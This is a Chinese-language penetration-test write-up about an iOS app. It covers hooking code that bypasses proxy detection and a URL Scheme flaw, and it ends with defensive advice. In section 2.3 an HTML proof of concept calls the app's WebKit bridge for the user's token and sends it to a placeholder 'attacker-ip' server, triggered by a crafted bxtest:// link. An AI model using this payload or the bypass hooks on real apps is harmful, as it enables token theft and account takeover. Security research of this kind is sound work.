一次iOS App渗透测试
字数 1321 2025-08-25 22:58:20
iOS App渗透测试实战指南
1. 代理检测绕过技术
1.1 检测代理检测机制
当iOS App设置代理后无法正常通信时,可能是由于App实现了代理检测机制。常见检测方法包括:
getProxyStatus方法CFNetworkCopySystemProxySettings()函数调用
1.2 反编译分析
- 使用iDA反编译ipa包的可执行文件
- 在Functions窗口搜索关键词"proxy"
- 定位到关键检测函数,如示例中的:
bool __cdecl -[XXXXManager getProxyStatus](SPBllHTTPClientManager *self, SEL a2)
{
v2 = CFNetworkCopySystemProxySettings();
...
return v19 ^ 1;
}
1.3 绕过方案
- Hook关键函数:使用Frida或MonkeyDev Hook
getProxyStatus或CFNetworkCopySystemProxySettings(),强制返回NO - 重打包注意事项:
- 企业签名App需要先砸壳Dump
- 使用frida-ios-dump提取未签名ipa
- 通过xCode新建MonkeyDev项目自签名
1.4 常见问题解决
闪退问题分析:
- 查看日志方法:
- xCode日志框
- MacOS控制台应用
- 示例错误:
-[NSFileManager copyItemAtPath:toPath:options:error:]: destination path is nil' - 解决方案:
- 溯源找到调用函数(如
saveXXXPath:toFile:) - 审阅代码逻辑,发现重打包导致参数为空
- Hook问题函数使其变为空函数
- 溯源找到调用函数(如
2. URL Scheme凭证盗取漏洞
2.1 漏洞原理
- 通过URL Scheme实现任意URL跳转
- 跳转过程中携带当前账号的敏感信息(如cookie/token)
2.2 漏洞检测流程
2.2.1 识别URL Scheme
使用工具如Passionfruit识别App注册的URL Scheme,例如:
Wechat: wx80e3244447ca12ce://
QQ: QQ41e56440://
tencent: tencent101428815://
sina: wb3173063210://
bxtest://
2.2.2 分析处理逻辑
- 从
application:openurl:options入口跟进 - 定位到关键处理函数(如
+[RouteMediator handleOpenURL:]) - 检查是否存在未过滤的url参数:
v78 = objc_msgSend(v12, "objectForKey:", CFSTR("url"));
v79 = (struct objc_object *)objc_retainAutoreleasedReturnValue(v78);
...
v84 = ((id (__cdecl *)(RouteMediator_meta *, SEL, id, id, bool))objc_msgSend)(
(RouteMediator_meta *)&OBJC_CLASS___RouteMediator,
"getProcessedFinalUrl:params:loginStatus:",
v79,
v12,
v83);
2.3 漏洞利用
2.3.1 构造恶意POC
<html>
<head>
<script type="text/javascript">
window.success = msg =>{
xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET', 'http://attacker-ip:8899/' + msg, true);
xmlHttp.send()
}
window.webkit.messageHandlers.execute.postMessage(['UserInfo', 'getToken', '', 'success', 'failure']);
</script>
</head>
<body>
<p>test</p>
</body>
</html>
2.3.2 触发方式
在Safari中访问构造的URL Scheme:
bxtest://web?target=web&url=http://attacker-server/poc.html
2.3.3 效果验证
- 受害者点击链接后自动跳转到App
- 恶意页面获取敏感信息并发送到攻击者服务器
- 在web服务器日志中查看窃取的token等信息
3. 关键工具和技术
3.1 必要工具
- 反编译工具:iDA
- 动态分析工具:Frida、MonkeyDev
- 抓包工具:Burp Suite
- URL Scheme分析:Passionfruit
- 砸壳工具:frida-ios-dump
3.2 Hook代码示例
CHDeclareClass(XXXManager)
CHOptimizedMethod2(self, void, XXXManager, saveXXXPath, NSString *, arg1, toFile, NSString *, arg2) {
}
CHDeclareClass(XXXXManager)
CHOptimizedMethod0(self, BOOL, XXXXManager, getProxyStatus){
return NO;
}
CHConstructor{
CHLoadLateClass(XXXManager);
CHClassHook2(XXXManager, saveXXXPath, toFile);
CHLoadLateClass(XXXXManager);
CHClassHook0(XXXXManager, getProxyStatus);
}
4. 防御建议
4.1 代理检测绕过防御
- 使用多层次的代理检测机制
- 关键逻辑放在服务端验证
- 混淆检测代码增加逆向难度
4.2 URL Scheme安全
- 严格校验URL Scheme参数
- 禁止携带敏感信息的自动跳转
- 实现白名单机制限制可跳转的域名
- 跳转前明确用户确认环节
4.3 通用安全建议
- 加强代码混淆
- 实现反调试机制
- 敏感操作增加二次验证
- 定期进行安全审计和渗透测试